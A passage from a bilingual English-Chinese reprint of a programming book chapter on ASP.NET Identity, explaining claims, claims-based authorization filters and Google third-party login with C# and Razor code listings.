{AppUserManager mgr= HttpContext.Current.GetOwinContext().GetUserManager<AppUserManager>();return new MvcHtmlString(mgr.FindByIdAsync(id).Result.UserName);} public static MvcHtmlString ClaimType(this HtmlHelper html, string claimType) {FieldInfo[] fields = typeof(ClaimTypes).GetFields();foreach (FieldInfo field in fields) {if (field.GetValue(null).ToString() == claimType) {return new MvcHtmlString(field.Name);} }return new MvcHtmlString(string.Format("{0}",claimType.Split('/', '.').Last()));} }} Note The helper method isn’t at all efficient because it reflects on the fields of the ClaimType class for each claim that is displayed, but it is sufficient for my purposes in this chapter. You won’t often need to display the claim type in real applications. 注:该辅助器并非十分有效,因为它只是针对每个要显示的声明(Claim)映射出ClaimType类的字段,但对我要的目的已经足够了。在实际项目中不会经常需要显示声明(Claim)的类型。 To see why I have created a controller that uses claims without really explaining what they are, start the application, authenticate as the user Alice (with the password MySecret), and request the /Claims/Index URL. Figure 15-5 shows the content that is generated. 为了弄明白我为何要先创建一个使用声明(Claims)的控制器,而没有真正解释声明(Claims)是什么的原因,可以启动应用程序,以用户Alice进行认证(其口令是MySecret),并请求/Claims/Index URL。图15-5显示了生成的内容。 Figure 15-5. The output from the Index action of the Claims controller 图15-5. Claims控制器中Index动作的输出 It can be hard to make out the detail in the figure, so I have reproduced the content in Table 15-7. 这可能还难以认识到此图的细节,为此我在表15-7中重列了其内容。 Table 15-7. The Data Shown in Figure 15-5 表15-7. 图15-5中显示的数据 Subject(科目) Issuer(发行者) Type(类型) Value(值) Alice LOCAL AUTHORITY SecurityStamp Unique ID Alice LOCAL AUTHORITY IdentityProvider ASP.NET Identity Alice LOCAL AUTHORITY Role Employees Alice LOCAL AUTHORITY Role Users Alice LOCAL AUTHORITY Name Alice Alice LOCAL AUTHORITY NameIdentifier Alice’s user ID The table shows the most important aspect of claims, which is that I have already been using them when I implemented the traditional authentication and authorization features in Chapter 14. You can see that some of the claims relate to user identity (the Name claim is Alice, and the NameIdentifier claim is Alice’s unique user ID in my ASP.NET Identity database). 此表展示了声明(Claims)最重要的方面,这些是我在第14章中实现传统的认证和授权特性时,一直在使用的信息。可以看出,有些声明(Claims)与用户标识有关(Name声明是Alice,NameIdentifier声明是Alice在ASP.NET Identity数据库中的唯一用户ID号)。 Other claims show membership of roles—there are two Role claims in the table, reflecting the fact that Alice is assigned to both the Users and Employees roles. There is also a claim about how Alice has been authenticated: The IdentityProvider is set to ASP.NET Identity. 其他声明(Claims)显示了角色成员——表中有两个Role声明(Claim),体现出Alice被赋予了Users和Employees两个角色这一事实。还有一个是Alice已被认证的声明(Claim):IdentityProvider被设置到了ASP.NET Identity。 The difference when this information is expressed as a set of claims is that you can determine where the data came from. The Issuer property for all the claims shown in the table is set to LOCAL AUTHORITY, which indicates that the user’s identity has been established by the application. 当这种信息被表示成一组声明(Claims)时的差别是,你能够确定这些数据是从哪里来的。表中所显示的所有声明的Issuer属性(发布者)都被设置到了LOACL AUTHORITY(本地授权),这说明该用户的标识是由应用程序建立的。 So, now that you have seen some example claims, I can more easily describe what a claim is. A claim is any piece of information about a user that is available to the application, including the user’s identity and role memberships. And, as you have seen, the information I have been defining about my users in earlier chapters is automatically made available as claims by ASP.NET Identity. 因此,现在你已经看到了一些声明(Claims)示例,我可以更容易地描述声明(Claim)是什么了。一项声明(Claim)是可用于应用程序中的有关用户的一个信息片段,包括用户的标识以及角色成员等。而且,正如你所看到的,我在前几章定义的关于用户的信息,被ASP.NET Identity自动地作为声明(Claims)了。 15.3.2 Creating and Using Claims 15.3.2 创建和使用声明(Claims) Claims are interesting for two reasons. The first reason is that an application can obtain claims from multiple sources, rather than just relying on a local database for information about the user. You will see a real example of this when I show you how to authenticate users through a third-party system in the “Using Third-Party Authentication” section, but for the moment I am going to add a class to the example project that simulates a system that provides claims information. Listing 15-15 shows the contents of the LocationClaimsProvider.cs file that I added to the Infrastructure folder. 声明(Claims)比较有意思的原因有两个。第一个原因是应用程序可以从多个来源获取声明(Claims),而不是只能依靠本地数据库关于用户的信息。你将会看到一个实际的示例,在“使用第三方认证”小节中,将演示如何通过第三方系统来认证用户。不过,此刻我只打算在示例项目中添加一个类,用以模拟一个提供声明(Claims)信息的系统。清单15-15显示了我添加到Infrastructure文件夹中LocationClaimsProvider.cs文件的内容。 Listing 15-15. The Contents of the LocationClaimsProvider.cs File 清单15-15. LocationClaimsProvider.cs文件的内容 using System.Collections.Generic;using System.Security.Claims; namespace Users.Infrastructure {public static class LocationClaimsProvider {public static IEnumerable<Claim> GetClaims(ClaimsIdentity user) {List<Claim> claims = new List<Claim>();if (user.Name.ToLower() == "alice") {claims.Add(CreateClaim(ClaimTypes.PostalCode, "DC 20500"));claims.Add(CreateClaim(ClaimTypes.StateOrProvince, "DC"));} else {claims.Add(CreateClaim(ClaimTypes.PostalCode, "NY 10036"));claims.Add(CreateClaim(ClaimTypes.StateOrProvince, "NY"));}return claims;}private static Claim CreateClaim(string type, string value) {return new Claim(type, value, ClaimValueTypes.String, "RemoteClaims");} }} The GetClaims method takes a ClaimsIdentity argument and uses the Name property to create claims about the user’s ZIP code and state. This class allows me to simulate a system such as a central HR database, which would be the authoritative source of location information about staff, for example. GetClaims方法以ClaimsIdentity为参数,并使用Name属性创建了关于用户ZIP码(邮政编码)和州府的声明(Claims)。上述这个类使我能够模拟一个诸如中心化的HR数据库(人力资源数据库)之类的系统,它可能会成为全体职员的地点信息的权威数据源。 Claims are associated with the user’s identity during the authentication process, and Listing 15-16 shows the changes I made to the Login action method of the Account controller to call the LocationClaimsProvider class. 在认证过程期间,声明(Claims)是与用户标识关联在一起的,清单15-16显示了我对Account控制器中Login动作方法所做的修改,以便调用LocationClaimsProvider类。 Listing 15-16. Associating Claims with a User in the AccountController.cs File 清单15-16. AccountController.cs文件中用户用声明的关联 ...[HttpPost][AllowAnonymous][ValidateAntiForgeryToken]public async Task<ActionResult> Login(LoginModel details, string returnUrl) {if (ModelState.IsValid) {AppUser user = await UserManager.FindAsync(details.Name,details.Password);if (user == null) {ModelState.AddModelError("", "Invalid name or password.");} else {ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie); ident.AddClaims(LocationClaimsProvider.GetClaims(ident));AuthManager.SignOut();AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false}, ident);return Redirect(returnUrl);} }ViewBag.returnUrl = returnUrl;return View(details);}... You can see the effect of the location claims by starting the application, authenticating as a user, and requesting the /Claim/Index URL. Figure 15-6 shows the claims for Alice. You may have to sign out and sign back in again to see the change. 为了看看这个地点声明(Claims)的效果,可以启动应用程序,以一个用户进行认证,并请求/Claim/Index URL。图15-6显示了Alice的声明(Claims)。你可能需要退出,然后再次登录才会看到发生的变化。 Figure 15-6. Defining additional claims for users 图15-6. 定义用户的附加声明 Obtaining claims from multiple locations means that the application doesn’t have to duplicate data that is held elsewhere and allows integration of data from external parties. The Claim.Issuer property tells you where a claim originated from, which helps you judge how accurate the data is likely to be and how much weight you should give the data in your application. Location data obtained from a central HR database is likely to be more accurate and trustworthy than data obtained from an external mailing list provider, for example. 从多个地点获取声明(Claims)意味着应用程序不必复制其他地方保持的数据,并且能够与外部的数据集成。Claim.Issuer属性(图15-6中的Issuer数据列——译者注)能够告诉你一个声明(Claim)的发源地,这有助于让你判断数据的精确程度,也有助于让你决定这类数据在应用程序中的权重。例如,从中心化的HR数据库获取的地点数据可能要比外部邮件列表提供器获取的数据更为精确和可信。 1. Applying Claims 1. 运用声明(Claims) The second reason that claims are interesting is that you can use them to manage user access to your application more flexibly than with standard roles. The problem with roles is that they are static, and once a user has been assigned to a role, the user remains a member until explicitly removed. This is, for example, how long-term employees of big corporations end up with incredible access to internal systems: They are assigned the roles they require for each new job they get, but the old roles are rarely removed. (The unexpectedly broad systems access sometimes becomes apparent during the investigation into how someone was able to ship the contents of the warehouse to their home address—true story.) 声明(Claims)有意思的第二个原因是,你可以用它们来管理用户对应用程序的访问,这要比标准的角色管理更为灵活。角色的问题在于它们是静态的,而且一旦用户已经被赋予了一个角色,该用户便是一个成员,直到明确地删除为止。例如,这意味着大公司的长期雇员,对内部系统的访问会十分惊人:他们每次在获得新工作时,都会赋予所需的角色,但旧角色很少被删除。(在调查某人为何能够将仓库里的东西发往他的家庭地址过程中发现,有时会出现异常宽泛的系统访问——真实的故事) Claims can be used to authorize users based directly on the information that is known about them, which ensures that the authorization changes when the data changes. The simplest way to do this is to generate Role claims based on user data that are then used by controllers to restrict access to action methods. Listing 15-17 shows the contents of the ClaimsRoles.cs file that I added to the Infrastructure. 声明(Claims)可以直接根据用户已知的信息对用户进行授权,这能够保证当数据发生变化时,授权也随之而变。此事最简单的做法是根据用户数据来生成Role声明(Claim),然后由控制器用来限制对动作方法的访问。清单15-17显示了我添加到Infrastructure中的ClaimsRoles.cs文件的内容。 Listing 15-17. The Contents of the ClaimsRoles.cs File 清单15-17. ClaimsRoles.cs文件的内容 using System.Collections.Generic;using System.Security.Claims; namespace Users.Infrastructure {public class ClaimsRoles {public static IEnumerable<Claim> CreateRolesFromClaims(ClaimsIdentity user) {List<Claim> claims = new List<Claim>();if (user.HasClaim(x => x.Type == ClaimTypes.StateOrProvince&& x.Issuer == "RemoteClaims" && x.Value == "DC")&& user.HasClaim(x => x.Type == ClaimTypes.Role&& x.Value == "Employees")) {claims.Add(new Claim(ClaimTypes.Role, "DCStaff"));}return claims;} }} The gnarly looking CreateRolesFromClaims method uses lambda expressions to determine whether the user has a StateOrProvince claim from the RemoteClaims issuer with a value of DC and a Role claim with a value of Employees. If the user has both claims, then a Role claim is returned for the DCStaff role. Listing 15-18 shows how I call the CreateRolesFromClaims method from the Login action in the Account controller. CreateRolesFromClaims是一个粗糙的考察方法,它使用了Lambda表达式,以检查用户是否具有StateOrProvince声明(Claim),该声明来自于RemoteClaims发行者(Issuer),值为DC。也检查用户是否具有Role声明(Claim),其值为Employees。如果用户这两个声明都有,那么便返回一个DCStaff角色的Role声明。清单15-18显示了如何在Account控制器中的Login动作中调用CreateRolesFromClaims方法。 Listing 15-18. Generating Roles Based on Claims in the AccountController.cs File 清单15-18. 在AccountController.cs中根据声明生成角色 ...[HttpPost][AllowAnonymous][ValidateAntiForgeryToken]public async Task<ActionResult> Login(LoginModel details, string returnUrl) {if (ModelState.IsValid) {AppUser user = await UserManager.FindAsync(details.Name,details.Password);if (user == null) {ModelState.AddModelError("", "Invalid name or password.");} else {ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie);ident.AddClaims(LocationClaimsProvider.GetClaims(ident)); ident.AddClaims(ClaimsRoles.CreateRolesFromClaims(ident));AuthManager.SignOut();AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false}, ident);return Redirect(returnUrl);} }ViewBag.returnUrl = returnUrl;return View(details);}... I can then restrict access to an action method based on membership of the DCStaff role. Listing 15-19 shows a new action method I added to the Claims controller to which I have applied the Authorize attribute. 然后我可以根据DCStaff角色的成员,来限制对一个动作方法的访问。清单15-19显示了在Claims控制器中添加的一个新的动作方法,在该方法上已经运用了Authorize注解属性。 Listing 15-19. Adding a New Action Method to the ClaimsController.cs File 清单15-19. 在ClaimsController.cs文件中添加一个新的动作方法 using System.Security.Claims;using System.Web;using System.Web.Mvc;namespace Users.Controllers {public class ClaimsController : Controller {[Authorize]public ActionResult Index() {ClaimsIdentity ident = HttpContext.User.Identity as ClaimsIdentity;if (ident == null) {return View("Error", new string[] { "No claims available" });} else {return View(ident.Claims);} } [Authorize(Roles="DCStaff")]public string OtherAction() {return "This is the protected action";} }} Users will be able to access OtherAction only if their claims grant them membership to the DCStaff role. Membership of this role is generated dynamically, so a change to the user’s employment status or location information will change their authorization level. 只要用户的声明(Claims)承认他们是DCStaff角色的成员,那么他们便能访问OtherAction动作。该角色的成员是动态生成的,因此,若是用户的雇用状态或地点信息发生变化,也会改变他们的授权等级。 提示:请读者从这个例子中吸取其中的思想精髓。对于读物的理解程度,仁者见仁,智者见智,能领悟多少,全凭各人,译者感觉这里的思想有无数的可能。举例说明:(1)可以根据用户的身份进行授权,比如学生在校时是“学生”,毕业后便是“校友”;(2)可以根据用户所处的部门进行授权,人事部用户属于人事团队,销售部用户属于销售团队,各团队有其自己的应用;(3)下一小节的示例是根据用户的地点授权。简言之:一方面用户的各种声明(Claim)都可以用来进行授权;另一方面用户的声明(Claim)又是可以自定义的。于是可能的运用就无法估计了。总之一句话,这种基于声明的授权(Claims-Based Authorization)有无限可能!要是没有我这里的提示,是否所有读者在此处都会有所体会?——译者注 15.3.3 Authorizing Access Using Claims 15.3.3 使用声明(Claims)授权访问 The previous example is an effective demonstration of how claims can be used to keep authorizations fresh and accurate, but it is a little indirect because I generate roles based on claims data and then enforce my authorization policy based on the membership of that role. A more direct and flexible approach is to enforce authorization directly by creating a custom authorization filter attribute. Listing 15-20 shows the contents of the ClaimsAccessAttribute.cs file, which I added to the Infrastructure folder and used to create such a filter. 前面的示例有效地演示了如何用声明(Claims)来保持新鲜和准确的授权,但有点不太直接,因为我要根据声明(Claims)数据来生成了角色,然后强制我的授权策略基于角色成员。一个更直接且灵活的办法是直接强制授权,其做法是创建一个自定义的授权过滤器注解属性。清单15-20演示了ClaimsAccessAttribute.cs文件的内容,我将它添加在Infrastructure文件夹中,并用它创建了这种过滤器。 Listing 15-20. The Contents of the ClaimsAccessAttribute.cs File 清单15-20. ClaimsAccessAttribute.cs文件的内容 using System.Security.Claims;using System.Web;using System.Web.Mvc; namespace Users.Infrastructure {public class ClaimsAccessAttribute : AuthorizeAttribute {public string Issuer { get; set; }public string ClaimType { get; set; }public string Value { get; set; }protected override bool AuthorizeCore(HttpContextBase context) {return context.User.Identity.IsAuthenticated&& context.User.Identity is ClaimsIdentity&& ((ClaimsIdentity)context.User.Identity).HasClaim(x =>x.Issuer == Issuer && x.Type == ClaimType && x.Value == Value);} }} The attribute I have defined is derived from the AuthorizeAttribute class, which makes it easy to create custom authorization policies in MVC framework applications by overriding the AuthorizeCore method. My implementation grants access if the user is authenticated, the IIdentity implementation is an instance of ClaimsIdentity, and the user has a claim with the issuer, type, and value matching the class properties. Listing 15-21 shows how I applied the attribute to the Claims controller to authorize access to the OtherAction method based on one of the location claims created by the LocationClaimsProvider class. 我所定义的这个注解属性派生于AuthorizeAttribute类,通过重写AuthorizeCore方法,很容易在MVC框架应用程序中创建自定义的授权策略。在这个实现中,若用户是已认证的、其IIdentity实现是一个ClaimsIdentity实例,而且该用户有一个带有issuer、type以及value的声明(Claim),它们与这个类的属性是匹配的,则该用户便是允许访问的。清单15-21显示了如何将这个注解属性运用于Claims控制器,以便根据LocationClaimsProvider类创建的地点声明(Claim),对OtherAction方法进行授权访问。 Listing 15-21. Performing Authorization on Claims in the ClaimsController.cs File 清单15-21. 在ClaimsController.cs文件中执行基于声明的授权 using System.Security.Claims;using System.Web;using System.Web.Mvc;using Users.Infrastructure;namespace Users.Controllers {public class ClaimsController : Controller {[Authorize]public ActionResult Index() {ClaimsIdentity ident = HttpContext.User.Identity as ClaimsIdentity;if (ident == null) {return View("Error", new string[] { "No claims available" });} else {return View(ident.Claims);} } [ClaimsAccess(Issuer="RemoteClaims", ClaimType=ClaimTypes.PostalCode,Value="DC 20500")]public string OtherAction() {return "This is the protected action";} }} My authorization filter ensures that only users whose location claims specify a ZIP code of DC 20500 can invoke the OtherAction method. 这个授权过滤器能够确保只有地点声明(Claim)的邮编为DC 20500的用户才能请求OtherAction方法。 15.4 Using Third-Party Authentication 15.4 使用第三方认证 One of the benefits of a claims-based system such as ASP.NET Identity is that any of the claims can come from an external system, even those that identify the user to the application. This means that other systems can authenticate users on behalf of the application, and ASP.NET Identity builds on this idea to make it simple and easy to add support for authenticating users through third parties such as Microsoft, Google, Facebook, and Twitter. 基于声明的系统,如ASP.NET Identity,的好处之一是任何声明都可以来自于外部系统,即使是将用户标识到应用程序的那些声明。这意味着其他系统可以代表应用程序来认证用户,而ASP.NET Identity就建立在这样的思想之上,使之能够简单而方便地添加第三方认证用户的支持,如微软、Google、Facebook、Twitter等。 There are some substantial benefits of using third-party authentication: Many users will already have an account, users can elect to use two-factor authentication, and you don’t have to manage user credentials in the application. In the sections that follow, I’ll show you how to set up and use third-party authentication for Google users, which Table 15-8 puts into context. 使用第三方认证有一些实际的好处:许多用户已经有了账号、用户可以选择使用双因子认证、你不必在应用程序中管理用户凭据等等。在以下小节中,我将演示如何为Google用户建立并使用第三方认证,表15-8描述了事情的情形。 Table 15-8. Putting Third-Party Authentication in Context 表15-8. 第三方认证情形 Question 问题 Answer 回答 What is it? 什么是第三方认证? Authenticating with third parties lets you take advantage of the popularity of companies such as Google and Facebook. 第三方认证使你能够利用流行公司,如Google和Facebook,的优势。 Why should I care? 为何要关心它? Users don’t like having to remember passwords for many different sites. Using a provider with large-scale adoption can make your application more appealing to users of the provider’s services. 用户不喜欢记住许多不同网站的口令。使用大范围适应的提供器可使你的应用程序更吸引有提供器服务的用户。 How is it used by the MVC framework? 如何在MVC框架中使用它? This feature isn’t used directly by the MVC framework. 这不是一个直接由MVC框架使用的特性。 Note The reason I have chosen to demonstrate Google authentication is that it is the only option that doesn’t require me to register my application with the authentication service. You can get details of the registration processes required at http://bit.ly/1cqLTrE. 提示:我选择演示Google认证的原因是,它是唯一不需要在其认证服务中注册我应用程序的公司。有关认证服务注册过程的细节,请参阅http://bit.ly/1cqLTrE。 15.4.1 Enabling Google Authentication 15.4.1 启用Google认证 ASP.NET Identity comes with built-in support for authenticating users through their Microsoft, Google, Facebook, and Twitter accounts as well more general support for any authentication service that supports OAuth. The first step is to add the NuGet package that includes the Google-specific additions for ASP.NET Identity. Enter the following command into the Package Manager Console: ASP.NET Identity带有通过Microsoft、Google、Facebook以及Twitter账号认证用户的内建支持,并且对于支持OAuth的认证服务具有更普遍的支持。第一个步骤是添加NuGet包,包中含有用于ASP.NET Identity的Google专用附件。请在“Package Manager Console(包管理器控制台)”中输入以下命令: Install-Package Microsoft.Owin.Security.Google -version 2.0.2 There are NuGet packages for each of the services that ASP.NET Identity supports, as described in Table 15-9. 对于ASP.NET Identity支持的每一种服务都有相应的NuGet包,如表15-9所示。 Table 15-9. The NuGet Authenticaton Packages 表15-9. NuGet认证包 Name 名称 Description 描述 Microsoft.Owin.Security.Google Authenticates users with Google accounts 用Google账号认证用户 Microsoft.Owin.Security.Facebook Authenticates users with Facebook accounts 用Facebook账号认证用户 Microsoft.Owin.Security.Twitter Authenticates users with Twitter accounts 用Twitter账号认证用户 Microsoft.Owin.Security.MicrosoftAccount Authenticates users with Microsoft accounts 用Microsoft账号认证用户 Microsoft.Owin.Security.OAuth Authenticates users against any OAuth 2.0 service 根据任一OAuth 2.0服务认证用户 Once the package is installed, I enable support for the authentication service in the OWIN startup class, which is defined in the App_Start/IdentityConfig.cs file in the example project. Listing 15-22 shows the change that I have made. 一旦安装了这个包,便可以在OWIN启动类中启用此项认证服务的支持,启动类的定义在示例项目的App_Start/IdentityConfig.cs文件中。清单15-22显示了所做的修改。 Listing 15-22. Enabling Google Authentication in the IdentityConfig.cs File 清单15-22. 在IdentityConfig.cs文件中启用Google认证 using Microsoft.AspNet.Identity;using Microsoft.Owin;using Microsoft.Owin.Security.Cookies;using Owin;using Users.Infrastructure;using Microsoft.Owin.Security.Google;namespace Users {public class IdentityConfig {public void Configuration(IAppBuilder app) {app.CreatePerOwinContext<AppIdentityDbContext>(AppIdentityDbContext.Create);app.CreatePerOwinContext<AppUserManager>(AppUserManager.Create);app.CreatePerOwinContext<AppRoleManager>(AppRoleManager.Create); app.UseCookieAuthentication(new CookieAuthenticationOptions {AuthenticationType = DefaultAuthenticationTypes.ApplicationCookie,LoginPath = new PathString("/Account/Login"),}); app.UseExternalSignInCookie(DefaultAuthenticationTypes.ExternalCookie);app.UseGoogleAuthentication();} }} Each of the packages that I listed in Table 15-9 contains an extension method that enables the corresponding service. The extension method for the Google service is called UseGoogleAuthentication, and it is called on the IAppBuilder implementation that is passed to the Configuration method. 表15-9所列的每个包都含有启用相应服务的扩展方法。用于Google服务的扩展方法名称为UseGoogleAuthentication,它通过传递给Configuration方法的IAppBuilder实现进行调用。 Next I added a button to the Views/Account/Login.cshtml file, which allows users to log in via Google. You can see the change in Listing 15-23. 下一步骤是在Views/Account/Login.cshtml文件中添加一个按钮,让用户能够通过Google进行登录。所做的修改如清单15-23所示。 Listing 15-23. Adding a Google Login Button to the Login.cshtml File 清单15-23. 在Login.cshtml文件中添加Google登录按钮 @model Users.Models.LoginModel@{ ViewBag.Title = "Login";}<h2>Log In</h2> @Html.ValidationSummary()@using (Html.BeginForm()) {@Html.AntiForgeryToken();<input type="hidden" name="returnUrl" value="@ViewBag.returnUrl" /><div class="form-group"><label>Name</label>@Html.TextBoxFor(x => x.Name, new { @class = "form-control" })</div><div class="form-group"><label>Password</label>@Html.PasswordFor(x => x.Password, new { @class = "form-control" })</div><button class="btn btn-primary" type="submit">Log In</button>}@using (Html.BeginForm("GoogleLogin", "Account")) {<input type="hidden" name="returnUrl" value="@ViewBag.returnUrl" /><button class="btn btn-primary" type="submit">Log In via Google</button>} The new button submits a form that targets the GoogleLogin action on the Account controller. You can see this method—and the other changes I made the controller—in Listing 15-24. 新按钮递交一个表单,目标是Account控制器中的GoogleLogin动作。可从清单15-24中看到该方法,以及在控制器中所做的其他修改。 Listing 15-24. Adding Support for Google Authentication to the AccountController.cs File 清单15-24. 在AccountController.cs文件中添加Google认证支持 using System.Threading.Tasks;using System.Web.Mvc;using Users.Models;using Microsoft.Owin.Security;using System.Security.Claims;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.Owin;using Users.Infrastructure;using System.Web; namespace Users.Controllers {[Authorize]public class AccountController : Controller {[AllowAnonymous]public ActionResult Login(string returnUrl) {if (HttpContext.User.Identity.IsAuthenticated) {return View("Error", new string[] { "Access Denied" });}ViewBag.returnUrl = returnUrl;return View();}[HttpPost][AllowAnonymous][ValidateAntiForgeryToken]public async Task<ActionResult> Login(LoginModel details, string returnUrl) {if (ModelState.IsValid) {AppUser user = await UserManager.FindAsync(details.Name,details.Password);if (user == null) {ModelState.AddModelError("", "Invalid name or password.");} else {ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie); ident.AddClaims(LocationClaimsProvider.GetClaims(ident));ident.AddClaims(ClaimsRoles.CreateRolesFromClaims(ident)); AuthManager.SignOut();AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false}, ident);return Redirect(returnUrl);} }ViewBag.returnUrl = returnUrl;return View(details);} [HttpPost][AllowAnonymous]public ActionResult GoogleLogin(string returnUrl) {var properties = new AuthenticationProperties {RedirectUri = Url.Action("GoogleLoginCallback",new { returnUrl = returnUrl})};HttpContext.GetOwinContext().Authentication.Challenge(properties, "Google");return new HttpUnauthorizedResult();}[AllowAnonymous]public async Task<ActionResult> GoogleLoginCallback(string returnUrl) {ExternalLoginInfo loginInfo = await AuthManager.GetExternalLoginInfoAsync();AppUser user = await UserManager.FindAsync(loginInfo.Login);if (user == null) {user = new AppUser {Email = loginInfo.Email,UserName = loginInfo.DefaultUserName,City = Cities.LONDON, Country = Countries.UK};IdentityResult result = await UserManager.CreateAsync(user);if (!result.Succeeded) {return View("Error", result.Errors);} else {result = await UserManager.AddLoginAsync(user.Id, loginInfo.Login);if (!result.Succeeded) {return View("Error", result.Errors);} }}ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie);ident.AddClaims(loginInfo.ExternalIdentity.Claims);AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false }, ident);return Redirect(returnUrl ?? "/");}[Authorize]public ActionResult Logout() {AuthManager.SignOut();return RedirectToAction("Index", "Home");}private IAuthenticationManager AuthManager {get {return HttpContext.GetOwinContext().Authentication;} }private AppUserManager UserManager {get {return HttpContext.GetOwinContext().GetUserManager<AppUserManager>();} }} } The GoogleLogin method creates an instance of the AuthenticationProperties class and sets the RedirectUri property to a URL that targets the GoogleLoginCallback action in the same controller. The next part is a magic phrase that causes ASP.NET Identity to respond to an unauthorized error by redirecting the user to the Google authentication page, rather than the one defined by the application: GoogleLogin方法创建了AuthenticationProperties类的一个实例,并为RedirectUri属性设置了一个URL,其目标为同一控制器中的GoogleLoginCallback动作。下一个部分是一个神奇阶段,通过将用户重定向到Google认证页面,而不是应用程序所定义的认证页面,让ASP.NET Identity对未授权的错误进行响应: ...HttpContext.GetOwinContext().Authentication.Challenge(properties, "Google");return new HttpUnauthorizedResult();... This means that when the user clicks the Log In via Google button, their browser is redirected to the Google authentication service and then redirected back to the GoogleLoginCallback action method once they are authenticated. 这意味着,当用户通过点击Google按钮进行登录时,浏览器被重定向到Google的认证服务,一旦在那里认证之后,便被重定向回GoogleLoginCallback动作方法。 I get details of the external login by calling the GetExternalLoginInfoAsync of the IAuthenticationManager implementation, like this: 我通过调用IAuthenticationManager实现的GetExternalLoginInfoAsync方法,我获得了外部登录的细节,如下所示: ...ExternalLoginInfo loginInfo = await AuthManager.GetExternalLoginInfoAsync();... The ExternalLoginInfo class defines the properties shown in Table 15-10. ExternalLoginInfo类定义的属性如表15-10所示: Table 15-10. The Properties Defined by the ExternalLoginInfo Class 表15-10. ExternalLoginInfo类所定义的属性 Name 名称 Description 描述 DefaultUserName Returns the username 返回用户名 Email Returns the e-mail address 返回E-mail地址 ExternalIdentity Returns a ClaimsIdentity that identities the user 返回标识该用户的ClaimsIdentity Login Returns a UserLoginInfo that describes the external login 返回描述外部登录的UserLoginInfo I use the FindAsync method defined by the user manager class to locate the user based on the value of the ExternalLoginInfo.Login property, which returns an AppUser object if the user has been authenticated with the application before: 我使用了由用户管理器类所定义的FindAsync方法,以便根据ExternalLoginInfo.Login属性的值对用户进行定位,如果用户之前在应用程序中已经认证,该属性会返回一个AppUser对象: ...AppUser user = await UserManager.FindAsync(loginInfo.Login);... If the FindAsync method doesn’t return an AppUser object, then I know that this is the first time that this user has logged into the application, so I create a new AppUser object, populate it with values, and save it to the database. I also save details of how the user logged in so that I can find them next time: 如果FindAsync方法返回的不是AppUser对象,那么我便知道这是用户首次登录应用程序,于是便创建了一个新的AppUser对象,填充该对象的值,并将其保存到数据库。我还保存了用户如何登录的细节,以便下次能够找到他们: ...result = await UserManager.AddLoginAsync(user.Id, loginInfo.Login);... All that remains is to generate an identity the user, copy the claims provided by Google, and create an authentication cookie so that the application knows the user has been authenticated: 剩下的事情只是生成该用户的标识了,拷贝Google提供的声明(Claims),并创建一个认证Cookie,以使应用程序知道此用户已认证: ...ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie);ident.AddClaims(loginInfo.ExternalIdentity.Claims);AuthManager.SignIn(new AuthenticationProperties { IsPersistent = false }, ident);... 15.4.2 Testing Google Authentication 15.4.2 测试Google认证 There is one further change that I need to make before I can test Google authentication: I need to change the account verification I set up in Chapter 13 because it prevents accounts from being created with e-mail addresses that are not within the example.com domain. Listing 15-25 shows how I removed the verification from the AppUserManager class. 在测试Google认证之前还需要一处修改:需要修改第13章所建立的账号验证,因为它不允许example.com域之外的E-mail地址创建账号。清单15-25显示了如何在AppUserManager类中删除这种验证。 Listing 15-25. Disabling Account Validation in the AppUserManager.cs File 清单15-25. 在AppUserManager.cs文件中取消账号验证 using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.EntityFramework;using Microsoft.AspNet.Identity.Owin;using Microsoft.Owin;using Users.Models; namespace Users.Infrastructure {public class AppUserManager : UserManager<AppUser> {public AppUserManager(IUserStore<AppUser> store): base(store) {}public static AppUserManager Create(IdentityFactoryOptions<AppUserManager> options,IOwinContext context) {AppIdentityDbContext db = context.Get<AppIdentityDbContext>();AppUserManager manager = new AppUserManager(new UserStore<AppUser>(db)); manager.PasswordValidator = new CustomPasswordValidator {RequiredLength = 6,RequireNonLetterOrDigit = false,RequireDigit = false,RequireLowercase = true,RequireUppercase = true}; //manager.UserValidator = new CustomUserValidator(manager) {// AllowOnlyAlphanumericUserNames = true,// RequireUniqueEmail = true//};return manager;} }} Tip you can use validation for externally authenticated accounts, but I am just going to disable the feature for simplicity. 提示:也可以使用外部已认证账号的验证,但这里出于简化,取消了这一特性。 To test authentication, start the application, click the Log In via Google button, and provide the credentials for a valid Google account. When you have completed the authentication process, your browser will be redirected back to the application. If you navigate to the /Claims/Index URL, you will be able to see how claims from the Google system have been added to the user’s identity, as shown in Figure 15-7. 为了测试认证,启动应用程序,通过点击“Log In via Google(通过Google登录)”按钮,并提供有效的Google账号凭据。当你完成了认证过程时,浏览器将被重定向回应用程序。如果导航到/Claims/Index URL,便能够看到来自Google系统的声明(Claims),已被添加到用户的标识中了,如图15-7所示。 Figure 15-7. Claims from Google 图15-7. 来自Google的声明(Claims) 15.5 Summary 15.5 小结 In this chapter, I showed you some of the advanced features that ASP.NET Identity supports. I demonstrated the use of custom user properties and how to use database migrations to preserve data when you upgrade the schema to support them. I explained how claims work and how they can be used to create more flexible ways of authorizing users. I finished the chapter by showing you how to authenticate users via Google, which builds on the ideas behind the use of claims. 本章向你演示了ASP.NET Identity所支持的一些高级特性。演示了自定义用户属性的使用,还演示了在升级数据架构时,如何使用数据库迁移保护数据。我解释了声明(Claims)的工作机制,以及如何将它们用于创建更灵活的用户授权方式。最后演示了如何通过Google进行认证结束了本章,这是建立在使用声明(Claims)的思想基础之上的。 本篇文章为转载内容。原文链接:https://blog.csdn.net/gz19871113/article/details/108591802。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 